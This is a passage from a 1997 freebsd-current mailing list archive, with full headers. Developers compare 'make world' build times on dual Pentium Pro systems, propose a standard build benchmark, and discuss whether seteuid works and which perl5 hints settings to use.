X-Loop: FreeBSD.org Precedence: bulk Hi, Yes, I realized the P166 vs PPro scenario -- however I not interested on that rather a top SMP FreeBSD configuration with fast drives. Theres got to be someone in the list with such a configuration: PPro 200Mhz or better with fast ide drives or fast scsi drives. Tnks, Amancio > Amancio Hasty said: > > Hmm... > > > > I do a make world in about 75 minutes -- I just didn't do profiled libraries. > > > > My system: > > PPro 200mhz 48MB, Seagate Cheetah 4.3GB UW (10000) > > > > /usr mounted async noatime > > > > CFLAGS= -O -pipe > > > > I noticed that my system is very cpu bound when I do a make world. > > > > So it will be very nice to find out what a dual PPro 200Mhz system with > > fast disks can do . > > > That is pretty good also. But imagine how much a 2/P5-166 has going against it. > > -- > John > dyson@freebsd.org > jdyson@nc.com From owner-freebsd-current Sun Nov 16 19:22:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA06315 for current-outgoing; Sun, 16 Nov 1997 19:22:08 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA06305; Sun, 16 Nov 1997 19:21:50 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id WAA27015; Sun, 16 Nov 1997 22:21:39 -0500 (EST) From: "John S. Dyson" Message-Id: <199711170321.WAA27015@dyson.iquest.net> Subject: Re: make world time???/ In-Reply-To: <199711170255.SAA00234@rah.star-gate.com> from Amancio Hasty at "Nov 16, 97 06:55:44 pm" To: hasty@rah.star-gate.com (Amancio Hasty) Date: Sun, 16 Nov 1997 22:21:39 -0500 (EST) Cc: dyson@FreeBSD.ORG, sprice@hiwaay.net, smp@csn.net, current@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Amancio Hasty said: > Hi, > > Yes, I realized the P166 vs PPro scenario -- however I not interested on > that rather a top SMP FreeBSD configuration with fast drives. > > Theres got to be someone in the list with such a configuration: > PPro 200Mhz or better with fast ide drives or fast scsi drives. > I have one :-). Dual PPro/200, one with 512K and the other with 256K. My IDE drives are generally very fast also. I haven't had a chance to "make world" recently. I have another dual PPro, running at 233, but both with 256K of cache. It has only a single drive (barracuda.) I should probably consider doing a "make world" again, carefully controlling the experiments, also doing some performance analysis beyond just the user+sys times. I guess that it is getting fast enough to casually do the makes now :-). When the machines can do "make world" in about 10mins, then I think that more people will be doing it. Imagine a "make world" in the time that a bonnie or iozone takes now :-). -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Sun Nov 16 20:32:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA10002 for current-outgoing; Sun, 16 Nov 1997 20:32:53 -0800 (PST) (envelope-from owner-freebsd-current) Received: from conductor.synapse.net (conductor.synapse.net [199.84.54.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id UAA09993 for ; Sun, 16 Nov 1997 20:32:47 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 10735 invoked from network); 17 Nov 1997 04:32:40 -0000 Received: from cello.synapse.net (199.84.54.81) by conductor.synapse.net with SMTP; 17 Nov 1997 04:32:40 -0000 Date: Sun, 16 Nov 1997 23:32:39 -0500 (EST) From: Evan Champion To: Brian Somers , markm@freebsd.org cc: freebsd-current@freebsd.org Subject: Re: Which setuid's don't work? In-Reply-To: <199711162228.WAA01654@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 16 Nov 1997, Brian Somers wrote: > Works fine. Ppp used to use setreuid() and now uses seteuid(). I tried a few different applications this afternoon, including perl5, and removed any hope of them using anything but seteuid() and they all worked just fine. To Mark, I think it would be appropriate to set the perl5 hints for 3.0 as follows: # # Guesses at what will be needed after 2.2 *) useshrplib='true' so='so' dlext='so' usevfork='true' usemymalloc='n' d_dosuid='define' ;; esac I turned on useshrplib because it doesn't seem useful to me to statically link against libperl if you're going to use a shared libc and co... It might also be nice if a link is made from the libperl.so.4.4 in the depths of /usr/local/lib/perl5 to /usr/local/lib/libperl.so.4.4. That will make it easier for folks doing embedded perl. (I'd also be inclined to set privlib=/usr/local/libdata/perl5, but I think the above should be good for the average user, and the purists (myself included) can use libdata :-) Evan From owner-freebsd-current Sun Nov 16 21:27:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA12389 for current-outgoing; Sun, 16 Nov 1997 21:27:54 -0800 (PST) (envelope-from owner-freebsd-current) Received: from jkh.cdrom.com (ppp-81.toiyabe.com [207.92.38.81]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA12379 for ; Sun, 16 Nov 1997 21:27:49 -0800 (PST) (envelope-from jkh@jkh.cdrom.com) Received: from jkh.cdrom.com (localhost.cdrom.com [127.0.0.1]) by jkh.cdrom.com (8.8.6/8.8.5) with ESMTP id VAA28705; Sun, 16 Nov 1997 21:27:18 -0800 (PST) To: Amancio Hasty cc: "John S. Dyson" , sprice@hiwaay.net (Steve Price), smp@csn.net, current@FreeBSD.ORG Subject: Re: make world time???/ In-reply-to: Your message of "Sun, 16 Nov 1997 17:21:31 PST." <199711170121.RAA00618@rah.star-gate.com> Date: Sun, 16 Nov 1997 21:27:13 -0800 Message-ID: <28686.879744433@jkh.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I do a make world in about 75 minutes -- I just didn't do profiled libraries. Argh. If we're going to compare worldstone numbers, we've really got to converge on some standard for what consititutes a proper one. ;-) In my own benchmarks, I always do a completely "standard" build with only one exception, which is to add CFLAGS=-O -pipe to /etc/make.conf (oh yeah, /usr also mounted async). Other folks stripe /usr/obj or mount it noatime or do any number of other things (like NOPROFILE) which can only skew the numbers when comparing them. Maybe the first step would be to agree upon a script for launching the world build which sets various environment variables consistently? Then we'd at least be down to just the I/O trickieries as variants. I've definitely noticed, with my dual P6/233 (and yes Virginia, it is possible to overclock a P6/180 to a P6/233 if you have good fans and some luck :), that things are primarily *I/O* bound, not CPU bound, with my single IBM DCAS 4.3 GB drive (these are 5400 RPM and not quite speed demons). On a machine with /usr/src and /usr/obj mounted on a 5 drive (Quantum 2GB) CCD array, I can shave as much as 40 minutes off the world build just on a uniprocessor P6/200, which is definitely food for thought. Jordan From owner-freebsd-current Sun Nov 16 21:40:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA13101 for current-outgoing; Sun, 16 Nov 1997 21:40:57 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA13096 for ; Sun, 16 Nov 1997 21:40:55 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id VAA00863; Sun, 16 Nov 1997 21:40:49 -0800 (PST) Message-Id: <199711170540.VAA00863@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: "Jordan K. Hubbard" cc: current@FreeBSD.ORG Subject: Re: make world time???/ In-reply-to: Your message of "Sun, 16 Nov 1997 21:27:13 PST." <28686.879744433@jkh.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 16 Nov 1997 21:40:49 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Well, your worlstone time : " I shaved off 40 minutes off " is admirable Still looking for the SMP configuration on fast disks "world stone figure" Tnks, Amancio > > I do a make world in about 75 minutes -- I just didn't do profiled libraries. > > Argh. If we're going to compare worldstone numbers, we've really > got to converge on some standard for what consititutes a proper > one. ;-) In my own benchmarks, I always do a completely "standard" > build with only one exception, which is to add CFLAGS=-O -pipe > to /etc/make.conf (oh yeah, /usr also mounted async). Other > folks stripe /usr/obj or mount it noatime or do any number > of other things (like NOPROFILE) which can only skew the numbers > when comparing them. Maybe the first step would be to agree > upon a script for launching the world build which sets various > environment variables consistently? Then we'd at least be > down to just the I/O trickieries as variants. > > I've definitely noticed, with my dual P6/233 (and yes Virginia, > it is possible to overclock a P6/180 to a P6/233 if you have > good fans and some luck :), that things are primarily *I/O* > bound, not CPU bound, with my single IBM DCAS 4.3 GB drive > (these are 5400 RPM and not quite speed demons). On a > machine with /usr/src and /usr/obj mounted on a 5 drive > (Quantum 2GB) CCD array, I can shave as much as 40 minutes > off the world build just on a uniprocessor P6/200, which > is definitely food for thought. > > Jordan From owner-freebsd-current Sun Nov 16 21:52:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA13668 for current-outgoing; Sun, 16 Nov 1997 21:52:25 -0800 (PST) (envelope-from owner-freebsd-current) Received: from nomis.Simon-Shapiro.ORG (nomis.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA13632 for ; Sun, 16 Nov 1997 21:52:11 -0800 (PST) (envelope-from shimon@i-connect.net) Received: (qmail 14578 invoked by uid 1000); 17 Nov 1997 05:52:26 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-111097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sun, 16 Nov 1997 21:52:26 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: Evan Champion Subject: Re: Way to _not_ build something in make world? Cc: freebsd-current@FreeBSD.ORG, Edwin Culp , spork Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Evan Champion; On 16-Nov-97 you wrote: > On Sun, 16 Nov 1997, spork wrote: > > > Copy "Makefile" to "makefile" and cvsup won't touch it, and make reads > > the > > lower-case one first... > > Well, I have cvsup running in delete mode, so unless I specifically told > it to leave the file alone, it's just going to nuke the makefile. I > guess > there isn't really a good way of doing this that doesn't smell of hack > in > one way or another. > > Evan > How about cvs update -P -d ? Works like a charm here, meges my local changes with new revisions, etc. Only caveat; it gets angry at RCS $Id$, etc. The above came from Justin Gibbs. I am a CVS neophite at best :-) --- If Microsoft Built Cars: There would be an "Engine Pro" with bigger turbos, but it would be slower on most existing roads. Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-current Sun Nov 16 21:52:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA13706 for current-outgoing; Sun, 16 Nov 1997 21:52:40 -0800 (PST) (envelope-from owner-freebsd-current) Received: from nomis.Simon-Shapiro.ORG (nomis.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA13652 for ; Sun, 16 Nov 1997 21:52:20 -0800 (PST) (envelope-from shimon@i-connect.net) Received: (qmail 14663 invoked by uid 1000); 17 Nov 1997 05:52:32 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-111097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199711170255.SAA00234@rah.star-gate.com> Date: Sun, 16 Nov 1997 21:52:31 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: Amancio Hasty Subject: Re: make world time???/ Cc: current@FreeBSD.ORG, smp@csn.net, sprice@hiwaay.net, dyson@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Amancio Hasty; On 17-Nov-97 you wrote: > Hi, > > Yes, I realized the P166 vs PPro scenario -- however I not interested on > that rather a top SMP FreeBSD configuration with fast drives. > > Theres got to be someone in the list with such a configuration: > PPro 200Mhz or better with fast ide drives or fast scsi drives. > > > > Tnks, > Amancio Twin DPT 3334UDW with 64MB cache on each, 14 UW Seagate Baracudas. As I said, does not help all that much. Simon From owner-freebsd-current Sun Nov 16 21:52:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA13705 for current-outgoing; Sun, 16 Nov 1997 21:52:40 -0800 (PST) (envelope-from owner-freebsd-current) Received: from nomis.Simon-Shapiro.ORG (nomis.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA13655 for ; Sun, 16 Nov 1997 21:52:21 -0800 (PST) (envelope-from shimon@i-connect.net) Received: (qmail 14636 invoked by uid 1000); 17 Nov 1997 05:52:31 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-111097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199711170121.RAA00618@rah.star-gate.com> Date: Sun, 16 Nov 1997 21:52:30 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: Amancio Hasty Subject: Re: make world time???/ Cc: current@FreeBSD.ORG, smp@csn.net, (Steve Price) , "John S.Dyson" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Amancio Hasty; On 17-Nov-97 you wrote: > Hmm... > > I do a make world in about 75 minutes -- I just didn't do profiled > libraries. Correct me if I am wrong, but the pupose here is not to finish make world in short time. I have seen sub-minute before :-) The purpose is to understand what makes a given, known task run faster. Taking a major components out reminds me of RDBMS benchmark wors where vendor I disables logging in the database engine and ends up running more than twice as fast as vendor O, causing quite a hysteria for few days. Simon From owner-freebsd-current Sun Nov 16 21:52:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA13719 for current-outgoing; Sun, 16 Nov 1997 21:52:42 -0800 (PST) (envelope-from owner-freebsd-current) Received: from nomis.Simon-Shapiro.ORG (nomis.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA13654 for ; Sun, 16 Nov 1997 21:52:21 -0800 (PST) (envelope-from shimon@i-connect.net) Received: (qmail 14604 invoked by uid 1000); 17 Nov 1997 05:52:30 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-111097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199711162043.MAA08177@rah.star-gate.com> Date: Sun, 16 Nov 1997 21:52:30 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: Amancio Hasty Subject: Re: make world time???/ Cc: current@FreeBSD.ORG, Steve Passe , Steve Price Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Amancio Hasty; On 16-Nov-97 you wrote: > > Cool! > > > I am curious as for the make world time on a dual PPro system with > fast disks. It looks like we are very cpu bound with fast disks. > > Tnks, > Amancio I think it bottoms (for a FULL build) at 100 minutes or SO. Disk I/O stops being an issue around there. Memeory is not a problem either. On a P6-200x2, with 256MB of RAM, a DUAL DPT 3334UW, /usr/src/ on a 5x RAID-5 array, /usr/obj on a 8x RAID-0 array, DPT with 64MB of RAM, we are just at 84 minutes. This is with -pipe, noatime, async, -j8, etc. I could not verify putting /tmp /var/tmp on mfs as the system reliably crashes. The ``disk'' I/O is at about 200-400 I/O per second - about 1/9th of the capacity of such a system, memory has over 120MB of free RAM, so we are not gaining much. What I do NOT know, and asked before (maybe I should name names :-), is is it CPU saturation, PCI saturation or RAM saturation? The system reports 80-95% CPU utilization in kernel, 70-80% in user space. I have an AMI Goliath on order. It is supposed to have tow independant PCI busses, on the Orion chipset. Let's see then. Simon From owner-freebsd-current Sun Nov 16 22:10:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA14819 for current-outgoing; Sun, 16 Nov 1997 22:10:20 -0800 (PST) (envelope-from owner-freebsd-current) Received: from Ilsa.StevesCafe.com (Ilsa.StevesCafe.com [205.168.119.129]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA14813 for ; Sun, 16 Nov 1997 22:10:16 -0800 (PST) (envelope-from smp@Ilsa.StevesCafe.com) Received: from Ilsa.StevesCafe.com (localhost [127.0.0.1]) by Ilsa.StevesCafe.com (8.8.7/8.8.5) with ESMTP id XAA17969; Sun, 16 Nov 1997 23:09:58 -0700 (MST) Message-Id: <199711170609.XAA17969@Ilsa.StevesCafe.com> X-Mailer: exmh version 2.0gamma 1/27/96 From: Steve Passe To: "Jordan K. Hubbard" cc: Amancio Hasty , "John S. Dyson" , sprice@hiwaay.net (Steve Price), smp@csn.net, current@FreeBSD.ORG Subject: Re: make world time???/ In-reply-to: Your message of "Sun, 16 Nov 1997 21:27:13 PST." <28686.879744433@jkh.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 16 Nov 1997 23:09:58 -0700 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jordan, > Argh. If we're going to compare worldstone numbers, we've really > got to converge on some standard for what consititutes a proper > one. ;-) > ... > Maybe the first step would be to agree > upon a script for launching the world build which sets various > environment variables consistently? Then we'd at least be > down to just the I/O trickieries as variants. > I second this! Lets go for a "full" build (perhaps maybe skipping the PROF LIBS). One test I want to try is using the same disks on all 3 of my systems to better quantify the difference between P5 & P6 -- Steve Passe | powered by smp@csn.net | Symmetric MultiProcessor FreeBSD From owner-freebsd-current Sun Nov 16 22:24:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA15336 for current-outgoing; Sun, 16 Nov 1997 22:24:13 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA15330 for ; Sun, 16 Nov 1997 22:24:10 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id WAA01031; Sun, 16 Nov 1997 22:24:02 -0800 (PST) Message-Id: <199711170624.WAA01031@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Simon Shapiro cc: current@FreeBSD.ORG Subject: Re: make world time???/ In-reply-to: Your message of "Sun, 16 Nov 1997 21:52:30 PST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 16 Nov 1997 22:24:01 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It is "Dyson Time" !!! Me, I suspect is gcc 8) I concurr with your figures about kernel build time. Cheers, Amancio > > Hi Amancio Hasty; On 16-Nov-97 you wrote: > > > > Cool! > > > > > > I am curious as for the make world time on a dual PPro system with > > fast disks. It looks like we are very cpu bound with fast disks. > > > > Tnks, > > Amancio > > I think it bottoms (for a FULL build) at 100 minutes or SO. > Disk I/O stops being an issue around there. > Memeory is not a problem either. > > On a P6-200x2, with 256MB of RAM, a DUAL DPT 3334UW, > /usr/src/ on a 5x RAID-5 array, /usr/obj on a 8x RAID-0 array, > DPT with 64MB of RAM, we are just at 84 minutes. > This is with -pipe, noatime, async, -j8, etc. > I could not verify putting /tmp /var/tmp on mfs as the system reliably > crashes. > > The ``disk'' I/O is at about 200-400 I/O per second - about 1/9th of the > capacity of such a system, memory has over 120MB of free RAM, so we are not > gaining much. What I do NOT know, and asked before (maybe I should name > names :-), is is it CPU saturation, PCI saturation or RAM saturation? > The system reports 80-95% CPU utilization in kernel, 70-80% in user space. > > I have an AMI Goliath on order. It is supposed to have tow independant PCI > busses, on the Orion chipset. Let's see then. > > Simon > From owner-freebsd-current Sun Nov 16 22:31:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA15558 for current-outgoing; Sun, 16 Nov 1997 22:31:26 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sink.majesticnet.com (host17.majestic.sysci.org [205.227.182.82]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA15553 for ; Sun, 16 Nov 1997 22:31:24 -0800 (PST) (envelope-from ian@sink.majesticnet.com) Received: (from ian@localhost) by sink.majesticnet.com (8.8.7/8.8.7) id WAA14339; Sun, 16 Nov 1997 22:31:17 -0800 (PST) Message-ID: X-Mailer: XFMail 1.2-beta-102697 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199711170540.VAA00863@rah.star-gate.com> Date: Sun, 16 Nov 1997 22:31:17 -0800 (PST) From: Ian Struble To: Amancio Hasty Subject: Re: make world time???/ Cc: current@FreeBSD.ORG, "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I just built a dual PP200 that I was going to burnin by doing a few dozen make worlds on before sending it out, but alas I only had a buslogic PCI SCSI for the system drives ;( The I/O would have been sweet too because it has a DAC960 raid controller with 32megs of cache and 5 x 4.5gigs worth of raid 0,1 or 5. I was really bummed when I saw the buslogic and couldn't get my hands on a 2940. Actually is there even support for the Mylex RAID controllers? Ian On 17-Nov-97 Amancio Hasty wrote: > Well, your worlstone time : " I shaved off 40 minutes off " is admirable > > Still looking for the SMP configuration on fast disks "world stone figure" > > > Tnks, > Amancio > > > >> > I do a make world in about 75 minutes -- I just didn't do profiled >> > libraries. >> >> Argh. If we're going to compare worldstone numbers, we've really >> got to converge on some standard for what consititutes a proper >> one. ;-) In my own benchmarks, I always do a completely "standard" >> build with only one exception, which is to add CFLAGS=-O -pipe >> to /etc/make.conf (oh yeah, /usr also mounted async). Other >> folks stripe /usr/obj or mount it noatime or do any number >> of other things (like NOPROFILE) which can only skew the numbers >> when comparing them. Maybe the first step would be to agree >> upon a script for launching the world build which sets various >> environment variables consistently? Then we'd at least be >> down to just the I/O trickieries as variants. >> >> I've definitely noticed, with my dual P6/233 (and yes Virginia, >> it is possible to overclock a P6/180 to a P6/233 if you have >> good fans and some luck :), that things are primarily *I/O* >> bound, not CPU bound, with my single IBM DCAS 4.3 GB drive >> (these are 5400 RPM and not quite speed demons). On a >> machine with /usr/src and /usr/obj mounted on a 5 drive >> (Quantum 2GB) CCD array, I can shave as much as 40 minutes >> off the world build just on a uniprocessor P6/200, which >> is definitely food for thought. >> >> Jordan From owner-freebsd-current Sun Nov 16 23:02:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA17451 for current-outgoing; Sun, 16 Nov 1997 23:02:44 -0800 (PST) (envelope-from owner-freebsd-current) Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA17435 for ; Sun, 16 Nov 1997 23:02:35 -0800 (PST) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.8.8/frmug-2.1/nospam) with UUCP id IAA28540 for freebsd-current@FreeBSD.ORG; Mon, 17 Nov 1997 08:02:27 +0100 (CET) (envelope-from roberto@keltia.freenix.fr) Received: (from roberto@localhost) by keltia.freenix.fr (8.8.8/keltia-2.13/nospam) id HAA03009; Mon, 17 Nov 1997 07:58:40 +0100 (CET) (envelope-from roberto) Message-ID: <19971117075839.20126@keltia.freenix.fr> Date: Mon, 17 Nov 1997 07:58:39 +0100 From: Ollivier Robert To: freebsd-current@FreeBSD.ORG Subject: Re: Which setuid's don't work? References: <199711162228.WAA01654@awfulhak.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88 In-Reply-To: ; from Evan Champion on Sun, Nov 16, 1997 at 11:32:39PM -0500 X-Operating-System: FreeBSD 3.0-CURRENT ctm#3818 AMD-K6 MMX @ 208 MHz Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Evan Champion: > I tried a few different applications this afternoon, including perl5, and > removed any hope of them using anything but seteuid() and they all worked > just fine. I think we do not use seteuid/setgid because we don't use POSIX saved uids anymore (sysctl kern.saved_ids is 0). > I turned on useshrplib because it doesn't seem useful to me to statically > link against libperl if you're going to use a shared libc and co... Be prepared to take a 20-25% performance hit with a shared libperl. -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #49: Sat Nov 15 20:03:33 CET 1997 From owner-freebsd-current Sun Nov 16 23:03:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA17546 for current-outgoing; Sun, 16 Nov 1997 23:03:59 -0800 (PST) (envelope-from owner-freebsd-current) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA17532 for ; Sun, 16 Nov 1997 23:03:50 -0800 (PST) (envelope-from chuckr@picnic.mat.net) Received: from picnic.mat.net (picnic.mat.net [206.246.122.117]) by earth.mat.net (8.8.8/8.6.12) with ESMTP id CAA01379; Mon, 17 Nov 1997 02:02:59 -0500 (EST) Message-Id: <199711170702.CAA01379@earth.mat.net> Date: Mon, 17 Nov 1997 02:03:02 -0500 (EST) From: chuckr@glue.umd.edu Subject: Re: make world time???/ To: smp@csn.net cc: jkh@time.cdrom.com, hasty@rah.star-gate.com, toor@dyson.iquest.net, sprice@hiwaay.net, current@FreeBSD.ORG In-Reply-To: <199711170609.XAA17969@Ilsa.StevesCafe.com> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 16 Nov, Steve Passe wrote: > Jordan, > >> Argh. If we're going to compare worldstone numbers, we've really >> got to converge on some standard for what consititutes a proper >> one. ;-) >> ... >> Maybe the first step would be to agree >> upon a script for launching the world build which sets various >> environment variables consistently? Then we'd at least be >> down to just the I/O trickieries as variants. >> > > I second this! Lets go for a "full" build (perhaps maybe skipping > the PROF LIBS). One test I want to try is using the same disks on > all 3 of my systems to better quantify the difference between P5 & P6 Little bit more, please.... does the /usr/obj already exist? Takes some time to actually make all those dirs, so that has to be taken into account either by destroying /usr/obj or specifying it exists, but that a make clean/cleandepend is done. Do we leave placement of /usr/src and /usr/obj to the tester? Faster on different disks, I think. How about mounting of /usr/obj? Even if we don't force these things, we must say that they are free variables, so people know the conditions. Sounds like building a nice benchmark .... > > -- > Steve Passe | powered by > smp@csn.net | Symmetric MultiProcessor FreeBSD > > > -- ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@glue.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-current Sun Nov 16 23:20:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA18593 for current-outgoing; Sun, 16 Nov 1997 23:20:43 -0800 (PST) (envelope-from owner-freebsd-current) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA18580 for ; Sun, 16 Nov 1997 23:20:35 -0800 (PST) (envelope-from brian@awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.7/8.8.7) with ESMTP id WAA01654; Sun, 16 Nov 1997 22:28:54 GMT (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199711162228.WAA01654@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: Evan Champion cc: freebsd-current@freebsd.org Subject: Re: Which setuid's don't work? In-reply-to: Your message of "Sun, 16 Nov 1997 12:44:10 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 16 Nov 1997 22:28:54 +0000 From: Brian Somers Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Are any of the get/setuid functions ie: > > setuid > seteuid > setreuid > > (and their get/gid combinations) still not working properly in 3.0-current > (and I suppose 2.2* as well)? > > I'm wondering because the perl5 hints still have seteuid() disabled, even > though it seems to work fine in my Kerberos 5 ksu. > > Evan Works fine. Ppp used to use setreuid() and now uses seteuid(). -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-current Sun Nov 16 23:32:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA19271 for current-outgoing; Sun, 16 Nov 1997 23:32:20 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA19266 for ; Sun, 16 Nov 1997 23:32:17 -0800 (PST) (envelope-from sos@sos.freebsd.dk) Received: (from sos@localhost) by sos.freebsd.dk (8.8.8/8.7.3) id IAA09348; Mon, 17 Nov 1997 08:32:10 +0100 (MET) Message-Id: <199711170732.IAA09348@sos.freebsd.dk> Subject: Re: make world time???/ In-Reply-To: <28686.879744433@jkh.cdrom.com> from 